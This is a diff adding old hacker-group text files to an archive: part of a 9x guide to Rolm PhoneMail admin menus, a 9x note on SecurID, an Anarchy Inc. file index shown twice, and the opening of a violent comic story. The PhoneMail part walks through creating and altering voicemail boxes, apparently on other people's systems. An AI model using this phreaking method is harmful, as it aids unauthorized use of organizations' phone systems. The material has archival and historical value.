: (Default = ): +AMIS Intl Dlv Ena? : (Default = FALSE): +AMIS Delivery Ena? : (Default = TRUE): + + If you wish to exit, type ";". +First Field of Form: +Class Name : (Previous = ): SMITH +Max Number Msgs : (Previous = 10): 25 +Max Future Dlv Msgs : (Previous = 5): +Max Msg Length : (Previous = 200): +Max Number Greetings: (Previous = 1): +Int/External Pair? : (Previous = TRUE): +Max Greeting Length : (Previous = 200): ; + +Done. +Class Number : + Unexpected value +Class Number : + Unexpected value +Class Number : 0 + +COS already exists +Please retry. +Class Number : 3 +Class Name : (Previous = ): ; + +Done. +Class Number : + Unexpected value + +Class Name : (Previous = ): +Max Number Msgs : (Previous = 10): +Max Future Dlv Msgs : (Previous = 5): +Max Msg Length : (Previous = 200): +Max Number Greetings: (Previous = 1): +Int/External Pair? : (Previous = TRUE): +Max Greeting Length : (Previous = 200): +Sub Recorded Names? : (Previous = TRUE): +Min Sub Password Len: (Previous = 0): +Max Access Attempts : (Previous = 5): +Attempt Threshold : (Previous = 0): +Send Broadcast? : (Previous = FALSE): +Receive Broadcast? : (Previous = TRUE): +Max Num PDLs Allowed: (Previous = 5): +LDN Exped DL Enable : (Previous = FALSE): +LDN Normal DL Enable: (Previous = TRUE): +HostLink Subscriber?: (Previous = FALSE): +Enable Outcalling? : (Previous = FALSE): +Xfer from Outcall? : (Previous = FALSE): +Restriction Table : (Previous = 0): +Min Outcall Freq : (Previous = 0): +RNA Retry Freq : (Previous = 15): +Busy Retry Freq : (Previous = 5): +Max Num RNA Retries : (Previous = 3): +Max Num Busy Retries: (Previous = 5): +Paging Lang String : (Previous = 0): +Pager Terminal Num : (Previous = ): +AMIS Intl Dlv Ena? : (Previous = FALSE): +AMIS Delivery Ena? : (Previous = TRUE): + + If you wish to exit, type ";". +First Field of Form: +Class Name : (Previous = ): +Max Number Msgs : (Previous = 10): +Max Future Dlv Msgs : (Previous = 5): ; + +Done. + +--------------------------------------------------------------------------- +Function: BackupSystem +Thu Jul 13, 1995 11:00 PM + +Beginning backup... + + + + BackupSystem Version 1.4 + + +Your current system configuration contains: + + 1 Node 1 Disk + +The system files will be backed up to diskettes. + +QUIT This backup process may take 1 minutes +and will require approximately 1 diskette. + + +The system administrator must be present to facilitate this process. + +Begin backup to diskettes (y/n)? n + +Backs up the system to disk, not recomended. +------------------------------------------------------------------------------ + +Function: CallProcessing +Thu Jul 13, 1995 11:04 PM + + + + ======== Call Processing Setup Menu ======== + A - Add Call Processing Mailbox Profile + L - List Call Processing Mailbox Profile + M - Modify Call Processing Mailbox Profile + D - Delete Call Processing Mailbox Profile + S - Show Call Processing Mailbox Profiles + E - Expand Call Processing Paths + C - Check Call Processing Consistency + R - Reports for Call Processing + F - Finished (return to SA mode) + +Action: S + +Enter path to show, for all paths: + + Mailbox Mailbox Mailbox Greeting Messages + Path Name Name Type Extn Recorded Waiting + --------- ------- ------- ------- -------- -------- + Collections Collections Menu Entry 7650 Yes ---- + HOLIDAY HOLIDAY Listen Only Entry 5011 Yes ---- + +Action: + + + ======== Call Processing Setup Menu ======== + A - Add Call Processing Mailbox Profile + L - List Call Processing Mailbox Profile + M - Modify Call Processing Mailbox Profile + D - Delete Call Processing Mailbox Profile + S - Show Call Processing Mailbox Profiles + E - Expand Call Processing Paths + C - Check Call Processing Consistency + R - Reports for Call Processing + F - Finished (return to SA mode) + +Action: M + +Mailbox extn []: 7650 +Mailbox extn [7650]: 7650 +Path Name [Collections]: Collections +Mailbox Name [Collections]: Collections +Call processing mailbox type (? for help) [Menu]: ? + + Please enter: + (LO) Listen Only + (LR) Lis/Resp + (M) Menu + +Call processing mailbox type (? for help) [Menu]: Menu +Enable password [False]: False +Entry point [True]: True +Number of times to play greeting [1]: 2 +Greeting replay time (secs) [5]: 5 +Time out transfer type (? for help) [Phone Extn]: ? + + Please enter: + (C) CallProcessing Extn + (P) Phone Extn + (S) Subscriber Profile + (NE) Name or Extn transfer + (NO) Name only transfer + (EO) Extn only transfer + (D) Direct Access + (G) Guest Access + (H) Hangup + +Time out transfer type (? for help) [Phone Extn]: Phone Extn + Transfer extn [5135]: 5135 +Min Sub Password Len [6]: 3 +Max Access Attempts [3]: 3 +Attempt Threshold [3]: 3 +Direct access password (numeric) [######]: ###### +Failed access attempt [1]: 1 +Key 0 transfer type (? for help) [Unused]: ? + + Please enter: + (C) CallProcessing Extn + (P) Phone Extn + (S) Subscriber Profile + (NE) Name or Extn transfer + (NO) Name only transfer + (EO) Extn only transfer + (D) Direct Access + (G) Guest Access + (U) Unused + +Key 0 transfer type (? for help) [Unused]: Unused +Key 1 transfer type (? for help) [Extn only Transfer]: Extn only Transfer + Confirm transfer? [True]: True + Play Intro Prompt? [True]: True +Key 2 transfer type (? for help) [Unused]: Unused +Key 3 transfer type (? for help) [Unused]: Unused +Key 4 transfer type (? for help) [Unused]: Unused +Key 5 transfer type (? for help) [Unused]: Unused +Key 6 transfer type (? for help) [Unused]: Unused +Key 7 transfer type (? for help) [Unused]: Unused +Key 8 transfer type (? for help) [Unused]: Unused +Key 9 transfer type (? for help) [Unused]: Unused + + + +Mailbox extn []: + +Mailbox extn []: ? +**** Invalid Value - Value must be all numeric. + + +Mailbox extn []: 0 +**** Invalid Value - Extension 0 is not allowed. + + +Mailbox extn []: 6000 +**** Extension: 6000 is assigned to a Subscriber. + +Mailbox extn []: 6001 +**** Extension: 6000 is assigned to a Subscriber. + +Mailbox extn []: 5999 +**** Mailbox extn: 5999 does not exist. + +Mailbox extn []: 5796 +**** Mailbox extn: 5796 does not exist. + +Mailbox extn []: ; + +Action: ? + + + ======== Call Processing Setup Menu ======== + A - Add Call Processing Mailbox Profile + L - List Call Processing Mailbox Profile + M - Modify Call Processing Mailbox Profile + D - Delete Call Processing Mailbox Profile + S - Show Call Processing Mailbox Profiles + E - Expand Call Processing Paths + C - Check Call Processing Consistency + R - Reports for Call Processing + F - Finished (return to SA mode) + +Action: A + +Mailbox extn []: 1234 +Path Name []: SYSTEM +Mailbox Name []: SYSTEM +Call processing mailbox type (? for help) [Listen Only]: ? + + Please enter: + (LO) Listen Only + (LR) Lis/Resp + (M) Menu + +Call processing mailbox type (? for help) [Listen Only]: M +Enable password [False]: False +Entry point [False]: False +Number of times to play greeting [2]: 1 +Greeting replay time (secs) [5]: 5 +Time out transfer type (? for help) [Hangup]: Hangup + Play hang up prompt [True]: True +Min Sub Password Len [0]: 3 +Max Access Attempts [5]: 5 +Attempt Threshold [0]: 0 +Direct access password (numeric) [######]: ##### +Key 0 transfer type (? for help) [Unused]: Unused +Key 1 transfer type (? for help) [Unused]: Unused +Key 2 transfer type (? for help) [Unused]: Unused +Key 3 transfer type (? for help) [Unused]: Unused +Key 4 transfer type (? for help) [Unused]: Unused +Key 5 transfer type (? for help) [Unused]: Unused +Key 6 transfer type (? for help) [Unused]: Unused +Key 7 transfer type (? for help) [Unused]: Unused +Key 8 transfer type (? for help) [Unused]: Unused +Key 9 transfer type (? for help) [Unused]: Unused + + + +Mailbox extn []: +Report Action: P + +Enter path to report, for all paths: + + +Call Processing Path Activity Report. + + + Mailbox Mailbox Num of User Default User + Path Name Name Type Extn Accesses Trans Trans HUps + --------- ------- ---- ------- -------- ----- ------- ---- + Collections Collections Menu 7650 29477 16555 11274 1648 + +The preceding report spans the following time period: +From: Mon Aug 1 , 1994 8 :46 a.m. +To: Thu Jul 13 , 1995 11 :11 p.m. + +***************************************************************************** + + +Call Processing Path Activity Report. + + + Mailbox Mailbox Num of User Default User + Path Name Name Type Extn Accesses Trans Trans HUps + --------- ------- ---- ------- -------- ----- ------- ---- + HOLIDAY HOLIDAY Listen 5011 258 0 138 120 + +The preceding report spans the following time period: +From: Mon Aug 1 , 1994 8 :46 a.m. +To: Thu Jul 13 , 1995 11 :11 p.m. + +***************************************************************************** + + +Call Processing Path Activity Report. + + + Mailbox Mailbox Num of User Default User + Path Name Name Type Extn Accesses Trans Trans HUps + --------- ------- ---- ------- -------- ----- ------- ---- + SYSTEM SYSTEM Menu 1234 0 0 0 0 + +The preceding report spans the following time period: +From: **** Statistics not cleared. +To: Thu Jul 13 , 1995 11 :11 p.m. + +***************************************************************************** + +Report Action: ? + + ======== Call Processing Report Menu ======== + P - Path Activity Report + R - Response Mailbox Activity Report + B - Billing Information Report + O - Outcalling Report + A - Access by Hour Summary Report + M - Clear Mailbox Statistics by Path + S - Clear Summary Statistics + F - Finished (return to main menu) + +Report Action: R + +Enter path to report, for all paths: + +Call Processing Response Mailbox Report. + + + Mailbox Mailbox New Old Deleted + Path Name Name Extn Messages Messages Messages Total + --------- ------- ---- -------- -------- -------- ----- +**** No such path. + + +Report Action: B + +Enter path to report, for all paths: + + +Call Processing Billing Information Report. + + + Unit Type Price per Unit Billing Constant + --------- -------------- ---------------- + Connect Time Into PM 1 1 + Connect Time Out of PM 0 0 + Messages Sent 1 1 + Message Len (min) 1 1 + Avg Retention (hrs) 1 1 + +Call Processing Billing Information Report. + + + Path Name Mailbox Name Extension/ + Category Units Price Extended Price + ------------------------------------ ----- ----- -------------- +**** No such path. + + +Report Action: ? + + ======== Call Processing Report Menu ======== + P - Path Activity Report + R - Response Mailbox Activity Report + B - Billing Information Report + O - Outcalling Report + A - Access by Hour Summary Report + M - Clear Mailbox Statistics by Path + S - Clear Summary Statistics + F - Finished (return to main menu) + +Report Action: O + +Enter path to report, for all paths: + +Call Processing Outcalling Report. + + + Total Avg + Num Num Connect Connect + Mailbox Mailbox Succ UnSucc Time Time + Path Name Name Extension Node Calls Calls (Min's) (Min's) + --------- ------- --------- ---- ----- ----- ------- ------- +**** No such path. + + +Report Action: + + ======== Call Processing Report Menu ======== + P - Path Activity Report + R - Response Mailbox Activity Report + B - Billing Information Report + O - Outcalling Report + A - Access by Hour Summary Report + M - Clear Mailbox Statistics by Path + S - Clear Summary Statistics + F - Finished (return to main menu) + +Report Action: A + + +Access by Hour Summary Report. + +From: Mon Jan 3 , 1994 12 :00 a.m. +To: Thu Jul 13 , 1995 12 :00 a.m. + + + Time Number of CP Calls + ---- --------------- + 1:00 am 41 + 2:00 am 20 + 3:00 am 11 + 4:00 am 7 + 5:00 am 12 + 6:00 am 9 + 7:00 am 36 + 8:00 am 207 + 9:00 am 1327 + 10:00 am 2746 + 11:00 am 3334 + 12 noon 3546 + 1:00 pm 3544 + 2:00 pm 3746 + 3:00 pm 3914 + 4:00 pm 4075 + 5:00 pm 3957 + 6:00 pm 3081 + 7:00 pm 2099 + 8:00 pm 1379 + 9:00 pm 914 + 10:00 pm 520 + 11:00 pm 221 + 12 midnite 102 + + Peak Hour 4:00 pm + Peak Hour # of calls 4075 + Total completed Call Processing calls 38848 + Total completed Voice Messaging calls 190466 + Total blocked Call Processing calls 0 + Total blocked Voice Messaging calls 0 + +Report Action: ? + + ======== Call Processing Report Menu ======== + P - Path Activity Report + R - Response Mailbox Activity Report + B - Billing Information Report + O - Outcalling Report + A - Access by Hour Summary Report + M - Clear Mailbox Statistics by Path + S - Clear Summary Statistics + F - Finished (return to main menu) + +Report Action: F + + +As you can see Call Processing sets up boxes, removes boxes, and controls +boxes in general. Im not going to explain every single command, it is easy +enough to set up a box and learn this system, so figure it out yourself. +------------------------------------------------------------------------------ + +Exit Call Processing Menu (Y/N) ? Y + + Well this concludes this info file on Rolm PhoneMail systems. Hopefully +the information herein will help you get setup making some boxes and save +you some time from exploring the commands that wont get you anywhere. + + +9x Þ 9x Voice Mail Box (direct) VMB - (8oo)572-54o8 Þ +Substance Þ jerome@escape.com (* i dunno how long this one will last *) Þ +Schizo Man Þ schizo@infosoc.com Þ +D.D. Þ ccomm@phantom.com Þ +firebug Þ firebug@shell.globalone.net Þ + diff --git a/textfiles.com/groups/9X/securid.9x b/textfiles.com/groups/9X/securid.9x new file mode 100644 index 00000000..26fd83a8 --- /dev/null +++ b/textfiles.com/groups/9X/securid.9x @@ -0,0 +1,76 @@ +STATION ID - 7047/3.12 + +9x Datakit Network +FOR OFFICIAL USE ONLY + +This is a 9x system, restricted to authorized persons and for +official 9x business only. Anyone using this system, network or data +is subject to being monitored at any time for system administration and +for identifying unauthorized users or system misuse. Anyone using this +system expressly consents to such monitoring and is advised that any +evidence of criminal activity revealed through such monitoring may be +provided to law enforcement for prosecution. + + + 9x is Substance, Schizo Man, Delinquent Dialer, and Firebug + + Distro Sites + + Another Way of Life (518) + The Phantom Tollbooth (718) + + + SecurID Information + by Schizo Man + A 9x Production + + +I'm writing this file to clear up some of the rumors about SecurID. It is +correct to the best of my ability, and much of the information has been +verified by the makers of SecurID. + +SecurID is made by Security Dynamics, Inc. in Cambridge, Massachusetts, who +have nine patents for it. I have seen it used on UNIX's, by banks, RBOC's and +many others. The system must have SecurID software (starting at $1950) +installed. Every user must have a SecurID card, which is a tiny credit card +sized computer ($34 each). The middle of the card has SecurID printed on it, +and in the top-right corner the users current 6-digit password is displayed. +Inside the card is a lithium battery and a clock chip which picks the new +password every minute from a time algorithm. The SecurID card must be +synchronized with the system using it. On some systems it must be +synchronized daily. When the user has entered the proper user-id on the +system, they will be prompted for their SecurID password. SecurID always +identifies itself. Security Dynamics claims there has never been a reported +incident of anyone cracking the SecurID algorithm, contrary to hacker +folklore. SecurID is becoming more and more popular, because it is extremely +secure, easier to use than challenge-response security systems, and cheaper +than other security systems such as key-modems and others. NYNEX has begun to +use SecurID to protect its Datakit PSN (and dialups), and I'm sure we'll see +more and more companies using SecurID in the future to protect their sensitive +data. What can we do about it? Not much. Even if you manage to steal a +SecurID card, it is replaced almost immediately. Just hope you can find +another way into the system, or be lucky enough to figure out the algorithm. + + We are sorry we dont have alot more info on SecureID, but this was all +the information we could obtain from Security Dynamics, Inc. + +You can reach the author of this file on the internet at: +schizo@infosoc.com + + + SecureID (9x) tfile introduced to the HP world on July 19th, 1995 Û 12:05p + + + schizo@infosoc.com (Schizo Man) + jcattell@linux.cowland.com (Substance) + firebug@shell.globalone.net (Firebug) + deldialers email address is unavailable + + + The official 9x VMB (8oo)365-4467 + + 9x Support Boards + + Another Way of Life (3 node) 518-383-o268 + The Phantom Tollbooth (1 node) 718-236-6784 + (nup's needed on both) diff --git a/textfiles.com/groups/ANARCHYINC.1 b/textfiles.com/groups/ANARCHYINC.1 new file mode 100644 index 00000000..124f0508 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC.1 @@ -0,0 +1,101 @@ + +T E X T F I L E S + +

Groups: Anarchy Incorporated

+

+Located around the San Jose, Califronia area and founded around 1984, Anarchy +Incorporated provided a steady stream of humorous and inside-joke-laden text +files for AE Lines and BBSes for well around 4 years. +

+The combination of the technical expertise of the members and their shared +deep interest in BBS Software (Waffle BBS was created by a member) ensured +that the files recieved a wide distribution among nationwide communities. +Many of the members have gone on to careers in companies like Netscape, +Apple, and Adobe, showing their abilities extended far beyond textfiles. +

+While some of the files +wander into treatises on vandalism and phreaking how-tos, the vast +majority of the work of Anarchy Inc. simply described fictional and +non-fictional accounts of happenings between the members, and writings +about the world that almost approach stream-of-consciousness. A sizeable +percentage of the files ridicule or lambast a fictional character named +Matt Ackeret who most certainly does not work at Apple Computer and who +doesn't really exist. Really. +

+ + + + + +
+
Filename
Size
Description of the Textfile
300murdr.hum 25307
 Murder at 300 Baud, by Various Members +
advefutr.hum 15386
 Adventure in the Future by Dark Shadow +
advrecru.hum 3616
 Adventures in Reality: Don't Cruise Alone +
advrevam.hum 4351
 Adventures in Reality: Vampires on my Street +
anaexist.ana 3399
 The Anarchist's Guide to Existence +
anarchfp.ana 6824
 Anarchy Incorporated Takes Fort Point +
anarstor.hum 9566
 Anarchy Incorporated presents Spinning Wheels by Someone Else +
b00g!.hum 6623
 B00G and the Art of Zen +
boog2.hum 7908
 B00G II: The Final Chapter +
bugteach.hum 6662
 Teaching Bugs to Breakdance +
chak.txt 6489
 Anarchy Inc. Presents: CHAK: The Unspeakable, by Someone Else +
clockorg.hum 9316
 A Clockwork Orange: Dictionary of NADSAT +
clockorg.txt 10202
 A Clockwork Orange Glossary of NADSAT Language by The Stranger of Anarchy Inc. +
clutter.hum 2257
 The Art of CLutter, by The Daredevil +
comeonma.hum 5720
 Come On, Mallorie. By The Stranger (...Harrison) +
confusio.hum 8598
 Religion, a View by The Daredevil +
crankcal.fun 3028
 How to Properly Crank Call Some Fool, by The Bullseye +
dancestr.hum 4736
 "WHY DON'T PEOPLE DANCE IN THE STREETS?" +
daveconc.hum 3693
 Dave's Concept Workshop #1 +
deffools.hum 6851
 Definitions for the Uninformed! by Eric C. Thompson +
favsexpo.hum 1576
 Sexual Preferences of the Members of Anarchy Inc. +
fccooman.hum 11569
 Nowankanu FCC Too Many: Journey Into the Unwanted Zone by Fitz Mertins of Anarchy Inc. +
fuck!!.hum 16069
 FUCK!! Volume One, by a Lot of Members +
fuckvol1.txt 11587
 Anarchy Inc. Presents: FUCK! Volume 1 +
funonjob.txt 4413
 Crime on the Job by ASCII Assassin of Anarchy Inc. +
geekpers.hum 6676
 Modem Geeks and Modem Personalities, by The Daredevil +
getsick.ana 1690
 An Easy Way to Get Sick, by Someone Else +
grommet.txt 11504
 A:TEXTGROMMET.TXT (54 lines) edited by R.VAN with ST MicroEMACS +
inspace.hum 6044
 The Concept of Space Travel by Lord Omega of Anarchy Inc. +
k-mart.ana 5399
 How To Have Fun In K-Mart!!, by The Daredevil of Anarchy, Inc. +
lub-dubs.hum 8056
 LUB-DUBBS -- The Magic of Molesting, Infesting, and Making a Mess +
matt&eri.hum 15246
 Matt Ackeret and Eric Thomson, Trashing. By The Daredevil +
mattcamp.hum 9212
 Matt's Day at Camp, by Matt +
mattfun.hum 4255
 Matt writes about how to have a fun day at Great America +
mattlife.hum 5083
 The Life and Times of Matt Ackeret +
mattsday.hum 8058
 A Day in the Life of Matt Ackeret, by Surf Rat and Someone Else +
mcdonald.hum 7660
 How to Terorize McDonalds, by Modem Uzer +
mercenar.ana 7700
 Anarchy Inc. Presents The Story of a Mercenary +
mi_1-4.hum 66435
 The Entire Mission Impossible File, by all the members of Anarchy, Inc. +
mission.fun 12681
 Mission Impossible Revisited, from Someone Else of Anarchy Inc. +
modgeeka.hum 3129
 How to tell if YOU are a Modem Geek, by the $heik +
mypalbtc.hum 3021
 The Motorhead Presents Bill the Cat is MY Friend! +
newuser.hum 4041
 The Life of a New User, by Surf Rat +
noname!.hum 5622
 The File With No Name +
nothing.hum 1934
 Nothing, by The Moon Roach +
osbert.hum 5581
 Osbert and the Plight of Memoiries +
osbertec.hum 3182
 Eric C. Thompson in the World of Osbert +
oscrmear.hum 7883
 The Oscar Mears Saga, Volume II +
overthro.ana 12540
 How to Overthrow a Country, by Senator Bunker +
pacbellf.hum 4968
 How to Forge Pac Bell Cards, by Havoc the Chaos +
petrock.ana 6343
 Anarchy Inc. Presents The Pet Rock Files! +
prowling.hum 6417
 Miscellaneous Nasties by Havoc of Chaos +
reality!.hum 7118
 Why Reality Isn't +
religiou.fun 4256
 Religion! Is it worth it? +
revenge.hum 6537
 Revenge for the sadistic pleasure of getting even +
robbank.ana 5195
 How to Rob a Bank by The Daredevil of Anarchy Inc. +
robbanks.txt 6074
 How to Rob a Bank, by The Daredevil of Anarchy Inc. (1984) +
robinson.hum 9413
 The Robinsons, by The Dark Shadow +
roofing.hum 4896
 Roofing, a Beginning Guide. By the Daredevil +
sesame.hum 3033
 Shattered Myths on Sesame Street, by The Daredevil +
sicklyri.fun 8342
 Suicide Lyrics, typed in by Anarchy, Inc. +
spacesto.fun 10351
 Anarchy, Inc. Present Deep Space: Story One +
spinning 10070
 Spinning Wheels, a Story by Someone Else of Anarchy Inc. +
stealjob.ana 4662
 Crime on the Job by the Ascii Assassin +
synchron.mus 12199
 The Gemini Daredevil and Anarchy Inc. Presents Police, Synchronicity +
theatre.hum 4766
 Phun in Movie Theatres, by Princess Leia +
uppave.hum 7752
 Up Your Pavement by The Motorhead +
vanzuyti.hum 5270
 Ron S. VanZuylen Lets Loose +
xanth.fun 16683
 Anarchy, Inc. take a shot at the next Xanth novel +

There are 69 files for a total of 562,723 bytes.
+ diff --git a/textfiles.com/groups/ANARCHYINC/.windex.html b/textfiles.com/groups/ANARCHYINC/.windex.html new file mode 100644 index 00000000..8a7fc409 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/.windex.html @@ -0,0 +1,101 @@ + +T E X T F I L E S + +

Groups: Anarchy Incorporated

+

+Located around the San Jose, Califronia area and founded around 1984, Anarchy +Incorporated provided a steady stream of humorous and inside-joke-laden text +files for AE Lines and BBSes for well around 4 years. +

+The combination of the technical expertise of the members and their shared +deep interest in BBS Software (Waffle BBS was created by a member) ensured +that the files recieved a wide distribution among nationwide communities. +Many of the members have gone on to careers in companies like Netscape, +Apple, and Adobe, showing their abilities extended far beyond textfiles. +

+While some of the files +wander into treatises on vandalism and phreaking how-tos, the vast +majority of the work of Anarchy Inc. simply described fictional and +non-fictional accounts of happenings between the members, and writings +about the world that almost approach stream-of-consciousness. A sizeable +percentage of the files ridicule or lambast a fictional character named +Matt Ackeret who most certainly does not work at Apple Computer and who +doesn't really exist. Really. +

+ + + + + +
+
Filename
Size
Description of the Textfile
300murdr.hum 25307
 Murder at 300 Baud, by Various Members +
advefutr.hum 15386
 Adventure in the Future by Dark Shadow +
advrecru.hum 3616
 Adventures in Reality: Don't Cruise Alone +
advrevam.hum 4351
 Adventures in Reality: Vampires on my Street +
anaexist.ana 3399
 The Anarchist's Guide to Existence +
anarchfp.ana 6824
 Anarchy Incorporated Takes Fort Point +
anarstor.hum 9566
 Anarchy Incorporated presents Spinning Wheels by Someone Else +
b00g!.hum 6623
 B00G and the Art of Zen +
boog2.hum 7908
 B00G II: The Final Chapter +
bugteach.hum 6662
 Teaching Bugs to Breakdance +
chak.txt 6489
 Anarchy Inc. Presents: CHAK: The Unspeakable, by Someone Else +
clockorg.hum 9316
 A Clockwork Orange: Dictionary of NADSAT +
clockorg.txt 10202
 A Clockwork Orange Glossary of NADSAT Language by The Stranger of Anarchy Inc. +
clutter.hum 2257
 The Art of CLutter, by The Daredevil +
comeonma.hum 5720
 Come On, Mallorie. By The Stranger (...Harrison) +
confusio.hum 8598
 Religion, a View by The Daredevil +
crankcal.fun 3028
 How to Properly Crank Call Some Fool, by The Bullseye +
dancestr.hum 4736
 "WHY DON'T PEOPLE DANCE IN THE STREETS?" +
daveconc.hum 3693
 Dave's Concept Workshop #1 +
deffools.hum 6851
 Definitions for the Uninformed! by Eric C. Thompson +
favsexpo.hum 1576
 Sexual Preferences of the Members of Anarchy Inc. +
fccooman.hum 11569
 Nowankanu FCC Too Many: Journey Into the Unwanted Zone by Fitz Mertins of Anarchy Inc. +
fuck!!.hum 16069
 FUCK!! Volume One, by a Lot of Members +
fuckvol1.txt 11587
 Anarchy Inc. Presents: FUCK! Volume 1 +
funonjob.txt 4413
 Crime on the Job by ASCII Assassin of Anarchy Inc. +
geekpers.hum 6676
 Modem Geeks and Modem Personalities, by The Daredevil +
getsick.ana 1690
 An Easy Way to Get Sick, by Someone Else +
grommet.txt 11504
 A:TEXTGROMMET.TXT (54 lines) edited by R.VAN with ST MicroEMACS +
inspace.hum 6044
 The Concept of Space Travel by Lord Omega of Anarchy Inc. +
k-mart.ana 5399
 How To Have Fun In K-Mart!!, by The Daredevil of Anarchy, Inc. +
lub-dubs.hum 8056
 LUB-DUBBS -- The Magic of Molesting, Infesting, and Making a Mess +
matt&eri.hum 15246
 Matt Ackeret and Eric Thomson, Trashing. By The Daredevil +
mattcamp.hum 9212
 Matt's Day at Camp, by Matt +
mattfun.hum 4255
 Matt writes about how to have a fun day at Great America +
mattlife.hum 5083
 The Life and Times of Matt Ackeret +
mattsday.hum 8058
 A Day in the Life of Matt Ackeret, by Surf Rat and Someone Else +
mcdonald.hum 7660
 How to Terorize McDonalds, by Modem Uzer +
mercenar.ana 7700
 Anarchy Inc. Presents The Story of a Mercenary +
mi_1-4.hum 66435
 The Entire Mission Impossible File, by all the members of Anarchy, Inc. +
mission.fun 12681
 Mission Impossible Revisited, from Someone Else of Anarchy Inc. +
modgeeka.hum 3129
 How to tell if YOU are a Modem Geek, by the $heik +
mypalbtc.hum 3021
 The Motorhead Presents Bill the Cat is MY Friend! +
newuser.hum 4041
 The Life of a New User, by Surf Rat +
noname!.hum 5622
 The File With No Name +
nothing.hum 1934
 Nothing, by The Moon Roach +
osbert.hum 5581
 Osbert and the Plight of Memoiries +
osbertec.hum 3182
 Eric C. Thompson in the World of Osbert +
oscrmear.hum 7883
 The Oscar Mears Saga, Volume II +
overthro.ana 12540
 How to Overthrow a Country, by Senator Bunker +
pacbellf.hum 4968
 How to Forge Pac Bell Cards, by Havoc the Chaos +
petrock.ana 6343
 Anarchy Inc. Presents The Pet Rock Files! +
prowling.hum 6417
 Miscellaneous Nasties by Havoc of Chaos +
reality!.hum 7118
 Why Reality Isn't +
religiou.fun 4256
 Religion! Is it worth it? +
revenge.hum 6537
 Revenge for the sadistic pleasure of getting even +
robbank.ana 5195
 How to Rob a Bank by The Daredevil of Anarchy Inc. +
robbanks.txt 6074
 How to Rob a Bank, by The Daredevil of Anarchy Inc. (1984) +
robinson.hum 9413
 The Robinsons, by The Dark Shadow +
roofing.hum 4896
 Roofing, a Beginning Guide. By the Daredevil +
sesame.hum 3033
 Shattered Myths on Sesame Street, by The Daredevil +
sicklyri.fun 8342
 Suicide Lyrics, typed in by Anarchy, Inc. +
spacesto.fun 10351
 Anarchy, Inc. Present Deep Space: Story One +
spinning 10070
 Spinning Wheels, a Story by Someone Else of Anarchy Inc. +
stealjob.ana 4662
 Crime on the Job by the Ascii Assassin +
synchron.mus 12199
 The Gemini Daredevil and Anarchy Inc. Presents Police, Synchronicity +
theatre.hum 4766
 Phun in Movie Theatres, by Princess Leia +
uppave.hum 7752
 Up Your Pavement by The Motorhead +
vanzuyti.hum 5270
 Ron S. VanZuylen Lets Loose +
xanth.fun 16683
 Anarchy, Inc. take a shot at the next Xanth novel +

There are 69 files for a total of 562,723 bytes.
+ diff --git a/textfiles.com/groups/ANARCHYINC/300murdr.hum b/textfiles.com/groups/ANARCHYINC/300murdr.hum new file mode 100644 index 00000000..0eb686c5 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/300murdr.hum @@ -0,0 +1,568 @@ +-------------- + Anarchy inc. ...presents... (another creative dissertation) +-------------- + + Murder at 300 baud... A mystery? + + The man walked up the marble steps, and stopped in front of the doorman. It +was raining, so the doorman was trying to keep out of it, as not to get his +uniform dirty. Adjusting his hat, the man handed forth a crumpled dollar bill. +The doorman took it, slowly, not knowing what to expect. He shivered, looking +at the dollar bill with an odd look on his face, as the man strode past him. +Somewhere, he could hear thunder. A security guard came up to him. "Was that +--" he began. The security stood up straight. + + "Yes, it was." he answered. The security guard shook his head. + + "We don't usually see him around, do we?" asked the guard. The doorman only +shook his head. The security guard walked on. + + Alexander f Atlantis sat at Daredevil's desk. It wasn't a large desk, but it +was just the sort of desk Daredevil would happen to own. There were knife +carvings, and various other pieces of graffiti. Papers and small notes were +scattered all over the desk, as well as candy bar wrappers, and an empty +ashtray. Alex had just finished writing some new things, and was waiting around +the office for really no reason. Anarchy inc. was off, somewhere, gathering +material for some odd text-file. He hoped it wasn't for the Space Shuttle idea, +that Havoc the Chaos came up with so long ago, since national security didn't +like them much. The elevator door at the end of the hallway pinged. It slid +open to reveal Randall Flagg. Alex tilted his head to look at him. He looked +tired. + + "Alex." he began. "Where is the rest of our crew?" he asked. Alex took his +feet down from the desk, and answered. + + "I don't know, I really don't." There was no use trying to put up some sort of +charade on Randall, it was no use. It seemed like he could see right through +you. "They're off somewhere." Randall staggered forward. + + "That's...That's..." began Randall. Alex noticed the absence of the eyes were +wide. He tried to say something, but instead of words flowing from his mouth, a +sickly red liquid took their place. Alex gasped. Randall fell. His back, +through his vest, was covered with various stab-marks. The blood was dark red, +black in places, already dry. Fresh blood purked from it, as he choked, +covering the carpeted floor. It would leave a stain for the longest time. Alex +almost fell out of the chair. Randall put a hand forth, jestering towards Alex. +"You..You are nex--" + + With that, his eyes rolled back into his head, and he laid there on the ground +with this expression on his face, as if he was cheated. + + Alex moved his hand towards the telephone. It was blinking, but he didn't +reach it in time. "No." said a voice. It was whispering, but the area was +quiet enough for the whispers to echo down the hallway. "No." it said again. +Alex felt his stomach tighten. Dealing with blood was not a pleasant +experience. He tried to talk, but fear did not give him that advantage. +Screaming was no better, all he let out was a squeak. "YOU!" screamed the +voice. The hand came from behind him. It lashed out + + (Oh god Oh god No No NO) + + and took hold of Alex's hair. Logic told him there was nothing but a open +window behind him, that only served to give a pleasant view of Central Park. It +was quick. + + (Oh no please no I don't deserve it he wrote those files he did he did) + + + "Dem rich bastards." said the first bum. He sat there, looking at the birds. +It was raining. The second bum wasn't interested. "Anarchy inc." said the +first one. "Them's rich." he finished. He then belched, for effect. The +second bum looked over. + + "I -- I--" he said. The first bum did not consider this to be normal speech +for a Central Park bum. The bum pointed northwards. The first bum was not +interested in the second bum's findings, and he began to ramble on about the +lack of good cardboard boxes. + + "When I was a kid, they had strong cardboard boxes..." he began. Then, he saw +the body falling. + + When somebody falls from a height, it's somewhat interesting. You realise, +that in about twelve seconds, you can fall about 285 meters? In twelve seconds, +you can also travel, straight down, at the speed of about 50 miles per hour. If +you continue to fall, in about 500 seconds, you can reach up to 2160 miles per +hour. It's interesting to figure these things out, if you have the time, and +the knowledge. More importantly, the stomach for this sort of thing. Too bad +there's no place on earth where one can fall for 500 seconds. That's about 8 +minutes of falling. People tend to have heart attacks before they hit the +ground. Nice of them to spare us too much pain. + + "Early this morning, about seven or eight am, a member of a secretive group +known as Anarchy inc. threw himself from the window of the 43rd story." said +the reporter. The Daredevil, dressed in red tights, jumped in front of the +camera. + + "NO! It's a lie! Alex wouldn't do that! Can you explain why Randall was +found dea-- 